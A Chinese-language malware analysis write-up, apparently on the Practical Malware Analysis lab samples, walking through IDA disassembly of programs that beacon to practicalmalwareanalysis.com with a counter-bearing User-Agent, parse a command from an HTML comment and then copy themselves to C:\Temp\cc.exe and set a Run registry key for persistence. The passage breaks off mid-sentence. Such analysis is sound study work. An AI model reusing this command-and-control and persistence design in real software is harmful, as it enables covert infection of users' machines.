详细分析
还是先看看导入表,一些旧东西
修改注册表的api函数, RegSet ValueExA和 RegOpenKeyExA 一起用于向注册表中插入信息,在设置应用程序启动项/开机自启时,通常会使用这两个函数
字符串也是发现了一些很有意思的,在临时目录会生成 cc.exe 文件,还会去修改注册表的自启动项目录
下面接着看main 函数,与上一个恶意样本很像,接下来就找不同
401000 处的检查网络连接和 401040处的下载网页与 上一篇基本相同,而不同的是这里多了对401030的调用
仔细分析 401130处的函数
根据注释可以看出是 switch 分支语句
看下它传入的参数,在调用前,传入了 argv 和 var_8 push入栈作为参数,这里的 argv就是argv[0],就是这个程序的字符串引用,
追踪 var_8 参数,发现在 40122D 处被设置为AL。此时 eax 存放的是上一个调用函数 401040的返回值,即html注释中的解析字符
再来分析401130
arg_0 是IDA 自动生成的标签,用于标记调用函数前最后一个被push入栈的参数,所以这里的 arg_0 是解析得到的html指令字符,并赋值给 var_8,接着加载到ecx中执行,减去61h,因此,如果传入的arg_0 =a,执行sub指令后,ecx归0
接下来 cmp ecx 和4,检查 arg_0 是否是 a-e 中的某个字符,如果不是,ja 跳转到 401153,如果是的话,这个指令字符放入edx中,被用作跳转表的索引,看到下面 edx*4,因为这是switch结构,跳转表是一组指向不同函数的地址表,每个地址的大小占4个字节,而下面也正如我们所料,跳转表有5条记录
.text:00401130 push ebp .text:00401131 mov ebp, esp .text:00401133 sub esp, 8 .text:00401136 movsx eax, [ebp+arg_0] .text:0040113A mov [ebp+var_8], eax .text:0040113D mov ecx, [ebp+var_8] .text:00401140 sub ecx, 61h ; 'a' ; switch 5 cases .text:00401143 mov [ebp+var_8], ecx .text:00401146 cmp [ebp+var_8], 4 .text:0040114A ja def_401153 ; jumptable 00401153 default case .text:00401150 mov edx, [ebp+var_8] .text:00401153 jmp ds:jpt_401153[edx*4] ; switch jump .text:0040115A ; --------------------------------------------------------------------------- .text:0040115A .text:0040115A loc_40115A: ; CODE XREF: sub_401130+23↑j .text:0040115A ; DATA XREF: .text:jpt_401153↓o .text:0040115A push 0 ; jumptable 00401153 case 97 .text:0040115C push offset PathName ; "C:\\Temp" .text:00401161 call ds:CreateDirectoryA .text:00401167 jmp loc_4011EE .text:0040116C ; --------------------------------------------------------------------------- .text:0040116C .text:0040116C loc_40116C: ; CODE XREF: sub_401130+23↑j .text:0040116C ; DATA XREF: .text:jpt_401153↓o .text:0040116C push 1 ; jumptable 00401153 case 98 .text:0040116E push offset Data ; "C:\\Temp\\cc.exe" .text:00401173 mov eax, [ebp+lpExistingFileName] .text:00401176 push eax ; lpExistingFileName .text:00401177 call ds:CopyFileA .text:0040117D jmp short loc_4011EE
分别来看这5条语句调用函数的地址
.text:0040115A loc_40115A: ; CODE XREF: sub_401130+23↑j .text:0040115A ; DATA XREF: .text:jpt_401153↓o .text:0040115A push 0 ; jumptable 00401153 case 97 .text:0040115C push offset PathName ; "C:\\Temp" .text:00401161 call ds:CreateDirectoryA .text:00401167 jmp loc_4011EE .text:0040116C ; --------------------------------------------------------------------------- .text:0040116C .text:0040116C loc_40116C: ; CODE XREF: sub_401130+23↑j .text:0040116C ; DATA XREF: .text:jpt_401153↓o .text:0040116C push 1 ; jumptable 00401153 case 98 .text:0040116E push offset Data ; "C:\\Temp\\cc.exe" .text:00401173 mov eax, [ebp+lpExistingFileName] .text:00401176 push eax ; lpExistingFileName .text:00401177 call ds:CopyFileA .text:0040117D jmp short loc_4011EE .text:0040117F ; --------------------------------------------------------------------------- .text:0040117F .text:0040117F loc_40117F: ; CODE XREF: sub_401130+23↑j .text:0040117F ; DATA XREF: .text:jpt_401153↓o .text:0040117F push offset Data ; jumptable 00401153 case 99 .text:00401184 call ds:DeleteFileA .text:0040118A jmp short loc_4011EE .text:0040118C ; --------------------------------------------------------------------------- .text:0040118C .text:0040118C loc_40118C: ; CODE XREF: sub_401130+23↑j .text:0040118C ; DATA XREF: .text:jpt_401153↓o .text:0040118C lea ecx, [ebp+phkResult] ; jumptable 00401153 case 100 .text:0040118F push ecx ; phkResult .text:00401190 push 0F003Fh ; samDesired .text:00401195 push 0 ; ulOptions .text:00401197 push offset SubKey ; "Software\\Microsoft\\Windows\\CurrentVe"... .text:0040119C push 80000002h ; hKey .text:004011A1 call ds:RegOpenKeyExA .text:004011A7 push 0Fh ; cbData .text:004011A9 push offset Data ; "C:\\Temp\\cc.exe" .text:004011AE push 1 ; dwType .text:004011B0 push 0 ; Reserved .text:004011B2 push offset ValueName ; "Malware" .text:004011B7 mov edx, [ebp+phkResult] .text:004011BA push edx ; hKey .text:004011BB call ds:RegSetValueExA .text:004011C1 test eax, eax .text:004011C3 jz short loc_4011D2 .text:004011C5 push offset aError31CouldNo ; "Error 3.1: Could not set Registry value"... .text:004011CA call sub_401271 .text:004011CF add esp, 4 .text:004011D2 .text:004011D2 loc_4011D2: ; CODE XREF: sub_401130+93↑j .text:004011D2 jmp short loc_4011EE .text:004011D4 ; --------------------------------------------------------------------------- .text:004011D4 .text:004011D4 loc_4011D4: ; CODE XREF: sub_401130+23↑j .text:004011D4 ; DATA XREF: .text:jpt_401153↓o .text:004011D4 push 186A0h ; jumptable 00401153 case 101 .text:004011D9 call ds:Sleep .text:004011DF jmp short loc_4011EE
a:调用createdirectory函数,参数是 C:\\Temp,如果该目录不存在,则创建该目录 b:调用copy file函数,两个参数分别是源文件(argv[0]即目标程序)和目的文件(C:\\Temp\cc.exe) c:调用deletefile函数,当 C:\\Temp\cc.exe 文件存在时删除它 d:调用 RegSet ValueExA和 RegOpenKeyExA 在注册表中添加开机自启,即将Software\Microsoft Windows \CurrentVersion\Run\Malware 的值添加为C:\\Temp\cc.exe,这样目标机器每次开机时都会启动该恶意程序 e:调用sleep函数,参数100s
总结
该程序的主要功能也了然于胸了,首先 if 判断是否联网,不联网程序终止。联网的话程序会去下载一个网页,其中包含了html的注释头部,并解析出第一个字符,用来校验switch的参数,决定执行哪条语句(创建目录/拷贝文件/删除文件/修改注册表/sleep)
详细分析
首先还是先看下导入表,和前面一样,并没有多余的改变。
字符串的唯一变化就是多了 Internet Explorer 7.5 ,看来是多了个 user-agent 代理
相同的这些就不说了,来看看不同点有哪些
来到main函数这里,也是很多相同的函数,401000(判断Internet是否连接),401040(解析HTML),4012b5(printf函数),401150(switch语句)
而当我们看整个函数视图的时候,发现了一个向上的箭头,很明显出现了循环
那就来分析下这段循环结构
00401248 ; --------------------------------------------------------------------------- .text:00401248 .text:00401248 loc_401248: ; CODE XREF: _main+12↑j .text:00401248 mov [ebp+var_C], 0 .text:0040124F jmp short loc_40125A .text:00401251 ; --------------------------------------------------------------------------- .text:00401251 .text:00401251 loc_401251: ; CODE XREF: _main+7D↓j .text:00401251 mov eax, [ebp+var_C] .text:00401254 add eax, 1 .text:00401257 mov [ebp+var_C], eax .text:0040125A .text:0040125A loc_40125A: ; CODE XREF: _main+1F↑j .text:0040125A cmp [ebp+var_C], 5A0h .text:00401261 jge short loc_4012AF .text:00401263 mov ecx, [ebp+var_C] .text:00401266 push ecx .text:00401267 call sub_401040 .text:0040126C add esp, 4 .text:0040126F mov [ebp+var_8], al .text:00401272 movsx edx, [ebp+var_8] .text:00401276 test edx, edx .text:00401278 jnz short loc_40127E .text:0040127A xor eax, eax .text:0040127C jmp short loc_4012B1 .text:0040127E ; --------------------------------------------------------------------------- .text:0040127E .text:0040127E loc_40127E: ; CODE XREF: _main+48↑j .text:0040127E movsx eax, [ebp+var_8] .text:00401282 push eax .text:00401283 push offset aSuccessParsedC ; "Success: Parsed command is %c\n" .text:00401288 call sub_4012B5 .text:0040128D add esp, 8 .text:00401290 mov ecx, [ebp+argv] .text:00401293 mov edx, [ecx] .text:00401295 push edx ; lpExistingFileName .text:00401296 mov al, [ebp+var_8] .text:00401299 push eax ; char .text:0040129A call sub_401150 .text:0040129F add esp, 8 .text:004012A2 push 0EA60h ; dwMilliseconds .text:004012A7 call ds:Sleep .text:004012AD jmp short loc_401251
很明显,var_c 是用来循环计数的,在 4012AD 处 jmp 401251,返回递增,如果大于5A0h(1440d) 就在401261处跳出循环到 4012AF,循环结束.否则程序接着运行,在401263处开始。将ecx(var_c) push入栈,接着调用401040(解析html)函数,然后慢慢执行,在4012A7 处调用sleep函数,参数是 EA60h(60000d),即1分钟,所以这个程序会sleep 1440 分钟(24小时)
在上一个程序中,401040 处并没有参数,而这里传入了 arg_0 作为参数,并且是唯一的参数,而在调用 401040 前,push进了ecx,即var_c,所以这里的arg_0 就是var_c(计数器),push arg_0入栈后,接着push了 Internet Explorer 7.50/pma%d 字符串,和 szAgent的地址。然后调用_sprintf 函数,用来将格式化的数据写入字符串,并存储在szAgent 中。然后在40106a调用 INternetOpen 函数,传入的参数是 szAgent,也就是说,每次var_C 计数器增加后, user-agent长度也会随之改变。这里就可以用来监测该程序运行了多长时间。
text:00401040 push ebp .text:00401041 mov ebp, esp .text:00401043 sub esp, 230h .text:00401049 mov eax, [ebp+arg_0] .text:0040104C push eax .text:0040104D push offset Format ; "Internet Explorer 7.50/pma%d" .text:00401052 lea ecx, [ebp+szAgent] .text:00401055 push ecx ; Buffer .text:00401056 call _sprintf .text:0040105B add esp, 0Ch .text:0040105E push 0 ; dwFlags .text:00401060 push 0 ; lpszProxyBypass .text:00401062 push 0 ; lpszProxy .text:00401064 push 0 ; dwAccessType .text:00401066 lea edx, [ebp+szAgent] .text:00401069 push edx ; lpszAgent .text:0040106A call ds:InternetOpenA .text:00401070 mov [ebp+hInternet], eax .text:00401073 push 0 ; dwContext .text:00401075 push 0 ; dwFlags .text:00401077 push 0 ; dwHeadersLength .text:00401079 push 0 ; lpszHeaders .text:0040107B push offset szUrl ; "http://www.practicalmalwareanalysis.com"... .text:00401080 mov eax, [ebp+hInternet] .text:00401083 push eax ; hInternet .text:00401084 call ds:InternetOpenUrlA .text:0040108A mov [ebp+hFile], eax .text:0040108D cmp [ebp+hFile], 0 .text:00401091 jnz short loc_4010B1 .text:00401093 push offset aError21FailToO ; "Error 2.1: Fail to OpenUrl\n" .text:00401098 call sub_4012B5 .text:0040109D add esp, 4 .text:004010A0 mov ecx, [ebp+hInternet] .text:004010A3 push ecx ; hInternet .text:004010A4 call ds:InternetCloseHandle .text:004010AA xor al, al .text:004010AC jmp loc_401140
总结
首先,程序会使用if结构检查是否建立连接。如果无,程序终止运行。否则,程序使用
一个上面提到的的User-Agent 来下载一个html, 这个User-Agent包含了一个循环结构的计数器,用于向attacker显示程序已
经运行了多长时间。下载的网页中包含了以